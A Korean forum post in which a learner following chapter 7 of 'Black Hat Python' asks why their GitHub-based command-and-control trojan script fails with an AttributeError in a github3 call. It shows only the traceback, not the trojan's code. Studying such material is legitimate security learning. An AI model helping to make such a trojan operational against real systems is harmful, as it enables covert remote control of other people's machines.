black hat python 교재의 7장에 있는 깃허브 커맨드 앤 컨트롤 내용을 파이썬 버전 2.7버전/3.6버전 두 가지 버전을 통해 리눅스와 윈도우에서 실습을 진행해보려고 합니다.

공통적으로

Traceback (most recent call last):

File "trojan.py", line 122, in <module> module

config = get_trojan_config()

File "trojan.py", line 81, in get_trojan_config

config_json   = get_file_contents(trojan_config)


File "trojan.py", line 65, in get_file_contents

tree = branch.commit.commit.tree.recurse()


File "/usr/local/lib/python2.7/dist-packages/github3/models.py", line 58, in __getattr__
raise AttributeError(attribute)


AttributeError: recurse

이런 오류가 발생해서 더 이상의 진행을 하지 못하고 있습니다.

git_trojan.py 라는 트로이 목마의 코드는 이런식으로 짜져있습니다. 물론 python 3.6 버전에서는 코드의 변경이 좀 있지만 오류가 뜨는 형태는 위의 오류와 완전히 동일합니다. 참조 URL : https://nostarch.com/download/BlackHatPython_ch07.pdf

도대체 무슨이유때문에 저런 오류가 생기는건가요? 제발 알려주세요!!
